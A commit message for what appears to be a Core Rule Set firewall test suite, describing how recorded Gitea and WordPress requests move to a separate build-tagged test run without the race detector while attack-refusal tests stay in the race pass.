Core Rule Set tests: check the recorded requests without the race detector (closes #290)

The tests that check the apps' recorded requests move to
internal/coreruleset/recorded_test.go, behind the recorded build tag. The
test phase runs them in a second go test, without -race.

The Gitea and WordPress tests are split in two. Their recorded-request loops
become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass;
their attack checks stay in the race pass as TestGiteaAttacksAreRefused and
TestWordPressAttacksAreRefused.
